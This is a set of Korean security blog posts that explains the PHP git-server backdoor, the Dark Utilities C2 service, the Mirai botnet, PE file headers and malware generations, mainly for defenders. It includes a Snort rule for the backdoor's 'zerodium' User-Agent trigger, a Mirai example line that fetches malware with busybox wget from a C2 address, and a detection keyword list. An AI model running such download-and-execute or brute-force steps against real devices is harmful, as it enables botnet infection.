- 자사의 시스템 및 데이터에 접속할 수 있는 외부 협력업체나 공급업체를 통해 누군가가 시스템에 침투할 때 발생

- 자체적으로 새로운 기술을 개발하지 않고 오픈 소스나 아웃 소싱, 또는 프리랜서 등을 통해 만들어진 소프트웨어를 사용하는 추세

- 만약, 만들어진 소프트웨어 등이 감염된 리소스를 통해 개발이 되었고, 이에 대한 적절성, 무결성 확인 없이 배포할 경우 악성코드가 존재한 상태로 사용자들에게 배포

- ​공격이 시작되기 전 감염 사실을 알기 어렵고, 일시에 대규모의 사용자가 동시에 피해를 볼 수 있는 특징이 있음

 

2.1 공격 흐름

① 해커는 먼저 공급 업체의 시스템을 장악한 후, 인증서를 탈취하거나 코드 패치, 업데이트 모듈 위장 등의 방식으로 악성코드를 업로드
② 악성코드는 정상 파일로 위장되어 배포되고, 이를 내려받은 다수의 사용자와 서버가 악성코드에 감염
③ 해커는 해당 서버들을 거점으로 이용해 공격 영역을 확대

 

3. 분석

- php-src 리포지터리에 두 개의 악성 커밋(commit)이 삽입
- PHP 개발자 니키타 포포브(Nikita Popov)와 라스무스 레르도프(Rasmus Lerdorf)의 이름을 도용해 유포
- 타이포그래피 에러 수정을 위한 것처럼 위장되어 배포되었으나, 백도어 기능이 포함된 악성 코드

 

[사진 1] 삽입된 악성코드

- [사진 1]은 악성코드(백도어)를 포함하여 유포된 zlib.c의 일부

- User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 해당 값을 그대로 PHP를 통해 실행

- zend_eval_string()는  PHP 코드를 그대로 실행시키는 함수

 

4. 대응방안

4.1 서버측 대응

① PHP Git 서버에서 받은 소스 중 zerodium 존재 여부 확인

 

4.2 네트워크측 대응

① User-Agent 헤더 값이 zerodium인 경우 탐지

- 해당 백도어는 User-Agent 헤더의 값이 zerodium 문자열이 있는 경우 PHP 코드를 실행

alert tcp any any -> any any (msg:"Zerodium Backdoor"; flow:established; pcre:"/User-Agent\:[^\n]+zerodium/i";)

 

5. 참고

https://news-web.php.net/php.internals/113838

https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/

https://github.com/php/php-src/blob/master/ext/zlib/zlib.c

https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a?branch=2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a&diff=unified#diff-a35f2ee9e1d2d3983a3270ee10ec70bf86349c53febdeabdf104f88cb2167961R368-R370 

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
C2aaS(C2-as-a-Service)  (0) 2022.11.19
IoT Mirai 악성코드 분석  (0) 2022.11.11

1. 개요

- 2022년 08월경 새로운 범죄 서비스 발견

- 다크 유틸리티(Dark Utilities) : 사이버 공격을 할 때 사용되는 C2(Command & Control) 서버를 쉽게 준비해주는 서비스

- 다크 유틸리티는 2022년 초 확립된 C2aaS(C2-as-a-Service) 모델 C2 플랫폼

- 비용은 9.99유로이며 등록자수는 3,000명 정도로 예상

 

2. 기능

- 사용자 인증을 위해 Discord를 활용

- 인증 후 플랫폼, 서버 상태 및 기타 지표에 대한 다양한 통계를 표시하는 대시보드가 ​​사용자에게 제공

[사진 1] 대시보드 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- 공격자는 개발 리소스를 할당하지 않고도 여러 아키텍처를 대상으로 할 수 있음

- 피해자 시스템에서 실행되는 코드로 이뤄진 페이로드를 제공

- 피해자 시스템을 서비스에 등록해 C2 통신 채널을 설정 (C2 서버 통신 채널 구현과 관련된 자세한 정보를 제공)

- Windows, Linux 및 Python 기반 페이로드를 지원

[사진 2] OS 및 Command 선택 (출처 : https://blog.talosintelligence.com/dark-utilities/)

- C2 서버를 통해 공격자가 외부에서 악성코드를 제어하고 명령을 내리며, 새 페이로드를 보내는 것은 물론 감염시킨 PC나 서버에서 수집된 데이터를 수신

- 원격 시스템 액세스, DDoS 기능, 암호화폐 채굴 등도 제공

 

3. 대응

① 보안 솔수션 도입

- Endpoint, FW, Email 등 보안 솔루션 후 모니터링

- Snort 정책 적용 : 적용할 수 있는 Snort SID는 60319 ~ 60325

 

② IoC 침해지표 활용

- 확인된 Hash 및 URL 등을 보안 솔루션에 적용하여 탐지 및 차단 적용

 

4. 참고

 

Attackers leveraging Dark Utilities "C2aaS" platform in malware campaigns

By Edmund Brumaghin, Azim Khodjibaev and Matt Thaxton, with contributions from Arnaud Zobec. Executive Summary * Dark Utilities, released in early 2022, is a platform that provides full-featured C2 capabilities to adversaries. * It is marketed as a means t

blog.talosintelligence.com

 

 

GitHub - Cisco-Talos/IOCs: Indicators of Compromise

Indicators of Compromise. Contribute to Cisco-Talos/IOCs development by creating an account on GitHub.

github.com

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
IoT Mirai 악성코드 분석  (0) 2022.11.11

1. 개요

[그림 1] Mirai (출처 : 해시넷)

타임라인 설명
2016.09.13 - 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18 - OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30 - 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개
- 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21 - 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단)
- Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비

- 웜 계열의 DDoS 공격 유발 악성코드

- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드

감염 대상 설명
IoT 기기 - loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용
- 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐
- 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.

* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위

- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포

기능 설명
스캔 - 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용
- 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파 - IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복
- 감염 장비를 확보함으로써 봇넷 형성

* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음
- 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입
- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행
- 명령 예제 : busybox wget http://C2 IP/
DDoS - 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행
- HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지 - 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재
- Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지
- 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함

※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타 - DDoS 외에도 네트워크 수준의 공격 모두 수행 가능
- 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행
- GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음
- 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼

 

2. 분석

 

GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

Leaked Mirai Source Code for Research/IoC Development Purposes - GitHub - jgamblin/Mirai-Source-Code: Leaked Mirai Source Code for Research/IoC Development Purposes

github.com

[그림 2] 동작 원리

- Mirai의 동작원리는 [그림 2] 및 다음과 같음

① 취약한 IoT기기를 스캔 하여 ② 악성코드를 유포, ③ 감염 및 ④ 다른 취약한 IoT 기기를 찾아 유포 및 ⑤ 봇넷 형성 후 ⑥ 대상 서버에 DDoS 공격 수행

 

① 스캔

- 우선 공격자는 랜덤하게 목적지 IP를 생성하며 이때, 무작위하게 생성하는 것이 아닌 일부 스캔하지 않는 IP 대역도 존재

[그림 3] 랜덤 목적지 IP 설정

 

- 또한, 1024 미만의 랜덤한 포트로 Src Port를 생성하며, Dst Port는 23(SSH)로 고정

[그림 4] 랜덤 Src Port 생성 및 Dst Port 23

 

- 스캔 조건에 부합하는 IoT 장비를 발견할 경우 62개의 ID/PW 중 랜덤으로 접속 계정을 결정하여 10번씩 연결을 시도하며, 가중치가 높을수록 뽑힐 가능성이 큼

- 가중치는 Mirai 악성코드가 제작될 당시 제품 판매량을 기초로 하여 부여한 것으로 추측

[그림 5] 62개의 계정으로 접속 시도

 

② 악성코드 유포

[그림 6] 악성코드 유포

- IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있어 Busybox(리눅스 기반 명령어 모음도구)를 주입

- Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행

- Busybox를 확인해 보면 wget 명령 이외에도 다양한 명령이 존재

[그림 7] busybox

 

③ 감염

- ② 과정에서 다운로드한 Mirai를 실행하여 감염된 IoT를 좀비 상태, 즉 Bot이 됨

- 임베디드 기기는 장비의 오류가 발생할 경우 재시작을 위한 자동 재부팅 기능(Watchdog)이 존재

- Mirai는 실행 후 디스크에서 파일을 삭제하고 메모리에만 상주하여 동작하기에 해당 기능을 비활성화 시킴

[그림 8] watchdog 비활성화

- 또한, 재시작을 막기위해 일부 프로세스를 종료하고, 메모리 스캔이 수행되지 않도록 설정

[그림 9] 프로세스 종료

 

④ 유포

- 감염 IoT 장비, 즉 Bot을 통해 ① ~ ③의 과정을 반복

 

⑤ 봇넷 형성

- ① ~ ④의 과정을 반복하여 Bot으로 이루어진 Bot Net을 형성

- 이후 C2 서버 명령 대기

 

⑥ DDoS

[그림 10] DDoS 공격

- Bot Net을 통해 대상 서버에 DDoS 공격을 수행 

프로토콜 종류
TCP SYN, RST, FIN, ACK, PSH Flooding
UDP DNS, ICMP, VSE Flooding
HTTP GET, POST, HEAD Flooding
GRE GRE Flooding

 

3. 대응 방안

[그림 11] shodan port:23

- Mirai는 보안이 허술한 IoT 기기 즉, 23 Port가 Open 상태이며 기본 혹은 유추하기 쉬운 ID/PW를 대상으로 유표

- 따라서 두 가지 조건 중 하나라도 차단 된다면 Mirai와 관련된 영향도는 없다고 볼 수 있음

- 하지만, Mirai 소스 코드가 공개됨에 따라 변종 악성코드가 다수 발견되므로, 다양한 대책이 필요

 

3.1 네트워크 측면

① 네트워크 연결 차단

② 포트 점검 및 모니터링

③ wget, busybox, mirai, /bin/sh, chmod 등 공격에 사용되는 문자열을 탐지할 수 있는 Snort 룰 등 적용 후 모니터링

 

3.2 사용자 측면

① 초기 ID/PW를 사용하지않고 변경하여 사용

② IoT 기기의 최신 업데이트 적용 및 보안성 점검

 

3.3 기타

① IoT 기기 초기화

'악성코드 > 분석' 카테고리의 다른 글

제로클릭(Zero-Click)  (0) 2023.02.20
악성코드와 레지스트리  (1) 2023.01.08
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

[캡쳐 1] PE 파일 구조

1. PE Header

- PE view를 활용해 메모장.exe(PE 파일) 구조 확인

- Visual Studio에서 #include <winnt.h>를 입력->winnt.h에 마우스 우클릭->문서로이동을 통해 구조체를 확인할 수 있다.

1.1) DOS Header

- DOS 파일에 대한 호환성을 고려하여 만들어 졌으며, 총 64Byte 크기를 가짐.

[캡쳐 2] DOS Header

- 구조체 : IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

e_magic : DOS signature(매직넘버)로 PE파일을 나타내는 첫 2바이트, MZ(5A4D로 고정 값)

                      각 파일은 고유의 signature(매직넘버)를 가짐.

[캡쳐 3] e_magic 값 5A4D(=MZ)

② e_lfanew : IMAGE_NT_HEADER의 시작 Offset 값을 가짐.

- e_flanew에 설정된 주소를 확인하면 PE로 시작하는 것을 확인할 수 있으며, 한번 더 시작점을 알려준다.

[캡쳐 4] e_lfanew 값

1.2) DOS Stub

- 구조체 형태가 아니며, DOS 환경에서 돌아갈 명령어가 16Bit 형태로, 가변 크기를 가짐.

- 일종의 옵션으로 없어도 파일 실행에 문제 없음.

- 32Bit 윈도우 플랫폼에서 실행되도록 만들어진 PE파일이 16Bit DOS 환경에서 실행되려 하는것을 방지하기위해 만들어짐.

[캡쳐 5] DOS Stub

1.3) NT Header

- 파일 실행에 필요한 정보가 저장됨.

- DOS Header의 e_flanew 값이 NT Header를 가리킴

- 구조체에는 총 3개의 멤버로 구성

- 구조체 : IMAGE_NT_HEADERS

typedef struct _IMAGE_NT_HEADERS64 {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

1.3.1) Signature

- NT header구조체의 시작을 판별하실 수 있으며, ASCII 값으로 PE(0x00004550)를 나타낸다.

[캡쳐 6]&nbsp;Signature

1.3.2) FileHeader

- 파일의 개략적인 속성을 나타낸다.

- 구조체 : IMAGE_FILE_HEADER

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine;
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

Machine : 이 파일이 어떤 CPU에서 동작할 수 있는지, 즉 실행될 수 있는 CPU의 타입을 나타냄

                       IA-32 호환 4C01, IA-64 호환 0020, AMD64 호환 시 6486

NumberOfSections : 파일에 존재하는 색션의 개수(파일에 따라 다름)를 나타내며, 0보다 커야함

                                        정의된 색션 개수 > 실제 색션 개수 : 에러 / 정의된 색션 개수 < 실제 색션 개수 : 정상 실행

③ TimeDateStamp : 해당 파일이 만들어진 시각, 즉 이 파일이 빌드된 날짜가 기록됨. 변조가능(신뢰할 수 있는 값 아님)

④ PointerToSymbolTable : COFF 파일의 심볼 테이블의 오프셋을 나타냄. 없는 경우가 대부분임

⑤ NumberOfSymbols : COFF 심벌 테이블 내에서의 심벌의 수를 나타냄. 없는 경우가 대부분임

SizeOfOptionalHeader : IMAGE_NT_HEADER 구조체 내 IMAGE_OPTIONAL_HEADER 구조체의 크기에 대한 정보

Characteristics : 파일의 속성을 나타내는 값으로, 실행 파일인지 DLL 파일인지 등의 정보들이 OR 연산을 통해 설정

                                  아래 사진을 보아 메모장은 executable 형식이며, 32bit 라는 것을 알 수 있다.

[캡쳐 7] IMAGE_FILE_HEADER 값

1.3.3) OptionalHeader

- 파일 실행에 필요한 주요 정보들을 저장한다.

- 구조체 : IMAGE_OPTIONAL_HEADER

typedef struct _IMAGE_OPTIONAL_HEADER {
    //
    // Standard fields.
    //

    WORD    Magic;
    BYTE    MajorLinkerVersion;
    BYTE    MinorLinkerVersion;
    DWORD   SizeOfCode;
    DWORD   SizeOfInitializedData;
    DWORD   SizeOfUninitializedData;
    DWORD   AddressOfEntryPoint;
    DWORD   BaseOfCode;
    DWORD   BaseOfData;

    //
    // NT additional fields.
    //

    DWORD   ImageBase;
    DWORD   SectionAlignment;
    DWORD   FileAlignment;
    WORD    MajorOperatingSystemVersion;
    WORD    MinorOperatingSystemVersion;
    WORD    MajorImageVersion;
    WORD    MinorImageVersion;
    WORD    MajorSubsystemVersion;
    WORD    MinorSubsystemVersion;
    DWORD   Win32VersionValue;
    DWORD   SizeOfImage;
    DWORD   SizeOfHeaders;
    DWORD   CheckSum;
    WORD    Subsystem;
    WORD    DllCharacteristics;
    DWORD   SizeOfStackReserve;
    DWORD   SizeOfStackCommit;
    DWORD   SizeOfHeapReserve;
    DWORD   SizeOfHeapCommit;
    DWORD   LoaderFlags;
    DWORD   NumberOfRvaAndSizes;
    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

 Magic : 실행하는 PE파일의 구조체가 32bit(0B01)인지, 64bit(0B02)인지 알려주는 부분

SizeOfCode : 코드영역(.text)의 크기

AddressOfEntryPoint : 프로그램의 실제 시작주소로, ImageBase 값에 이 값을 더해 시작 지점을 설정

ImageBase : PE 파일이 메모리에 로드되는 시작 주소. EXE의 경우 00400000, DLL의 경우 00000001

SectionAlignment : 메모리에서 섹션의 최소 단위, 각 섹션은 반드시 이값의 배수

FileAlignment : 파일에서 섹션의 최소 단위, 각 섹션은 반드시 이값의 배수

SizeOfImage : 메모리에 로딩될 때 가상 메모리에서 PE Image가 차지하는 크기, 즉 PE 파일의 전체 크기

SizeOfHeaders : 모든 PE Header의 크기

Subsystem : 동작환경을 정의. sys 파일 1, GUI 파일 2, CLI 파일 3의 값을 가짐

NumberOfRvaAndSizes : Data Directory의 구조체 멤버 개수

DataDirectory : IMAGE_DATA_DIRECTORY구조체의 배열로써 디렉토리별로 각각의 정보를 담음

- Export Directory : DLL등의 파일에서 외부에 함수를 공개하기 위한 정보들을 가짐
- Import Directory : 프로그램 실행을 위해 Import하는 DLL 이름과 사용할 함수 정보가 담긴 INT주소와 IAT주소 같은 정보가 담김
- TLS Directory : 스레드 지역 저장소 초기화 섹션에 대한 포인터
- IAT Directory : IAT의 시작번지를 가리킴

[캡쳐 8] IMAGE_OPTIONAL_HEADER 값

1.4) Section Header

- Section의 속성을 정의한 헤더

- Section 유형

Code .text 프로그램 실행 코드를 담고 있는 섹션
Data .data 일고 쓰기가 가능한 테이터 섹션으로 초기화된 전역변수와 정적 변수 등이 위치
.rdata 읽기 전용 데이터 섹션으로 상수형 변수, 문자열 상수 등이 위치
.bss 초기화되지 않은 전역변수로, 초기화 시 .data 영역으로 이동
Import API .idata Import 할 DLL과 API에 대한 정보를 담고 있는 섹션으로 IAT 정보가 저장
.diata Delay-Loading Import DLL 정보 (프로그램 실행 후 DLL 사용시에만 연결하며, 릴리즈 모드 시 다른 섹션에 병합)
Expoit API .edata Export할 API 정보를 담고 있는 섹션 (주로 DLL에서 사용되며 .text 또는 .rdata에 병합)으로 EAT 정보가 저장
Resource .rsrc 리소스 관련 데이터를 담고 있는 섹션 (아이콘, 커서 등)
재배치 정보 .reloc 기본 재배치 정보를 담고 있는 섹션 (주로 DLL에서 사용)
TLS .tls 스레드 지역 저장소
Debugging .debug$p 미리 컴파일된 헤더 사용시에만 존재

 

참고 : 

 

[악성코드분석] PE (portable Executable) 기초 개념잡기

PE포맷 이란? 윈도우 운영체제에서 사용되는 실행파일, DLL Object코드, FON 폰트파일 등을 위한 파일형식입니다. OE파일은 윈도우 로더가 실행가능한 코드를 관리하는데 필요한 정보를 캡슐화한 데

rednooby.tistory.com

 

윈도우 실행파일 구조(PE파일)

1. 윈도우 실행파일(PE파일) 개요 1.1 PE파일이란? PE(Portable Executable)파일은 윈도우 실행파일이라고 부르며 윈도우OS에서 사용되는 실행파일형식을 의미하며 UNIX의 COFF(Common Object File Format)을 기반..

rninche01.tistory.com

 

악성코드 분석- 기초 정적 분석, PE 파일

윈도우에서 가장 많이 악성코드로 제작되어 배포되는 PE 파일에 대해 알아보겠습니다. PE(Portable Excutable)파일 - win32 기본 파일형식 - exe, scr, sys, dll ... PE파일의 실행과정은 다음과 같습니다. 1. PE..

hxxyxxn-1238.tistory.com

 

PE 파일 포맷의 이해

※ 주의사항 아래 공격 코드는 연구 목적으로 작성된 것이며, 허가 받지 않은 공간에서는 테스트를 절대 금지합니다. 악의 적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신한테 있습

unabated.tistory.com

 

[Analysis] PE(Portable Executable) 파일 포맷 공부

드디어 PE(Portable Executable) 파일 포맷 포스팅을 하고자한다. 내용이 길것으로 예상되나 중요한 파트이므로 천천히 짚고 넘어가자. 1. PE 포맷? PE 포맷이란 Portable Executable 약자로 윈도우 운영체제에

saynot.tistory.com

 

PE(Portable Executable) 구조

Win32의 기본적인 파일 형식 PE(Portable Executable) 구조 오늘은 PE(Portable Executable)에 대해서 알아보도록 하겠습니다. PE라는 말을 들어보신 적이 있나요? 아마 이 글을 보고 계시는 분들 중에 리버싱 경

unabated.tistory.com

 

PE 구조 이해하기 - IMAGE_FILE_HEADER 구조

windows 시스템 실행파일의 구조와 원리 책 내용을 요약 및 정리 하는 포스팅이에요. PE파일의 PE 시그니처 다음에 이어지는 IMAGE_FILE_HEADER에 대한 내용을 알아볼 거에요. IMAGE_FILE_HEADER 구조체IMAGE_FIL

777bareman777.github.io

 

[프로그래밍 일반] PE 파일 분석 - 헤더분석

원문 : kkamagui의 프로그래밍 작업실 http://kkamagui.springnote.com/pages/401262 개요  윈도우 시스템 프로그래밍한다는 사람치고 PE 파일에 대해서 모르는 사람은 아마 거의 없을 것이다. 윈도우 실행 파일

clansim.tistory.com

 

PE파일 구조

PE파일 분석 도구 :  실행파일(Executable File)이란 명령(Operation Codes)에 따라 지시된 작업을 수행하도록 하는 파일을 말한다. 이 파일은 실행 코드, 전역 데이터, Import/Export 함수정보, 리소스 데이터

moaimoai.tistory.com

'악성코드 > 기본' 카테고리의 다른 글

PE 파일 #1 개요 및 구조  (0) 2022.08.02
Malware #1  (0) 2022.07.11

1. PE(Portable Executable) 파일 개요

1.1) PE(Portable Executable) 파일 이란?

[캡쳐 1] https://ko.wikipedia.org/wiki/PE_%ED%8F%AC%EB%A7%B7

- PE(Portable Executable) 파일이란 윈도우 실행파일이며, 윈도우에서 사용되는 실행 가능한 파일 형식이다.

- 유닉스 실행파일 형식인 COFF(CommonObject File Format)을 기반으로 만들어졌다.

- 하나의 실행파일을 다양한 운영체제에서 실행할 수 있다는 의미로 "이식 가능한 실행파일"로 이름이 붙었다.

- 윈도우 환경에 따라 32bit 환경에서는 PE32, 64bit 환경에서는 PE32+ 또는 PE+로 불린다.

- 실행되기 위한 모든 정보와 어느 메모리주소에 파일이 로딩되는지 알 수 있다.

1.2) PE 파일 종류

- 실행 계열 : EXE, SCR
- 드라이버 계열 : SYS, VXD
- 라이브러리 계열 : DLL, OCX, CPL, DRV
- 오브젝트 파일 계열 : OBJ

2. PE 파일 구조

[캡쳐 2] PE 파일 구조

- PE Header에 각 정보들이 구조체 형식으로 저장되어 있다.

- 파일에서는 Offset, Memory에서는 VA(Virtual Address)로 위치를 표현한다.

  Offset : 파일의 첫 바이트부터 거리

  VA(Virtual Address, 절대주소) : 프로세스 가상 메모리의 절대주소

  RVA(Relative Virtual Address, 상대주소) : 기준 위치(ImageBase)부터의 상대주소

  VA = RVA + ImageBase

- RVA(상대주소)를 사용하는 이유는 PE Header에 많은 정보는 RVA 형태로 되어있으며, PE 파일(주로 DLL)이 메모리에 로딩될 때 해당 위치에 다른 PE 파일이 로딩되어 있을 수 있어, Relocation 과정을 통해 빈 공간에 로딩되어야 한다.

만약 VA(절대주소)로 되어있다면 정상적인 액세스가 이루어지지 않지만, RVA(가상주소)로 되어있다면 Relocation이 발생하여도 ImageBase에 대한 상대주소는 변하지 않기에 정상적인 액세스가 가능하다.

2-1) NULL Padding

- 헤더의 끝과 각 섹션 값 사이에 NULL 값이 존재한다.

- 파일 또는 메모리에서 섹션의 시작위치는 각각 최소 기본단위의 배수에 해당하는 위치여야하므로 Null로 채우는 것이다.

 

참고 : 

 

[악성코드분석] PE (portable Executable) 기초 개념잡기

PE포맷 이란? 윈도우 운영체제에서 사용되는 실행파일, DLL Object코드, FON 폰트파일 등을 위한 파일형식입니다. OE파일은 윈도우 로더가 실행가능한 코드를 관리하는데 필요한 정보를 캡슐화한 데

rednooby.tistory.com

'악성코드 > 기본' 카테고리의 다른 글

PE 파일 #2 헤더  (0) 2022.08.02
Malware #1  (0) 2022.07.11

1. Malware?

- 정보 탈취 등의 목적으로 사용자의 동의없이 PC에 설치되어 악의적인 행위를 하는 코드 및 프로그램의 일체

 

2. 세대별 Malware 분류

1세대
원시형 바이러스
(Primitive Virus)
- 일반적으로 아마추어 프로그래머에 의해서 개발된 바이러스
- 단순하여 분석이 쉬우며 고정된 크기
- 일반적으로 주기억장치에 상주해서 부트영역이나 파일을 감염시키는 특성
Ex) 돌(Stoned) 바이러스, 예루살램(Jerusalem) 바이러스, 기존의 도스용 바이러스
2세대 
암호형 바이러스
(Encryption Virus)
- 컴퓨터 프로그램의 일부 또는 전체 암호화 -> 안티 바이러스로 바이러스 감염 여부를 확인할 수 없게함
- 암호화 방식이 일정해서 복호화 방식도 일정
- 폭포(Cascade) 바이러스, 느림보(Slow) 바이러스
3세대
은폐형 바이러스
(Stealth Virus)
- 스스로 은폐 가능
- 다른 실행파일에 기생해 실행파일의 크기를 증가시킴 - > 파일 크기가 변경되어 안티 바이러스에서 발견하기 쉬움
- 안티 바이러스가 감염 여부를 확인할 때 감염되기 이전 상태를 보여주어 감염 여부를 확인하기 어렵게 함
- 맥가이버(MacGyver) 바이러스, 브레인(Brain) 바이러스, 512 바이러스가 있다.
4세대
갑옷형 바이러스
(Armor Virus)
- 다양한 암호화 기법을 사용해서 은폐하는 기법을 사용 -> 안티 바이러스로 진단하기 어려움
- 바이러스가 프로그램을 변형하기 위해서 수많은 방법을 사용
- 대부분 전문 프로그래머에 의해서 개발되었지만 진단이나 치료가 불가능하지는 않음
- 다형성(Polymorphic) 바이러스, 자체 변형(Self-encryption) 바이러스
5세대
매크로 바이러스
(Macro virus)
- 엑셀, 워드처럼 매크로 명령을 사용하는 프로그램을 감염시키는 바이러스
- 누구나 쉽게 만들 수 있고 배포가능
- 운영체제와 관계없이 동작하는 응용 프로그램 내부에서 동작하는 특징
- 대부분 매크로 기능이 있는 MS사의 오피스 제품과 비지오, 오토캐드 등 VBS(Visual Basic Script)를 지원하는 다양한 프로그램에서 발견됨
- Melisa 바이러스, Laroux 바이러스, Nimda 바이러스
*추가*
차세대 바이러스
- 스크립트 형태의 바이러스가 더욱 활성화되어 네트워크와 메일을 이용하여 전파
- 데이터 파괴, 다른 파일을 감염시키는 것에서 나아가 사용자 정보를 빼내거나 시스템 장악을 위한 백도어 기능을 가진 웜의 형태로 진화

 

 

'악성코드 > 기본' 카테고리의 다른 글

PE 파일 #2 헤더  (0) 2022.08.02
PE 파일 #1 개요 및 구조  (0) 2022.08.02

+ Recent posts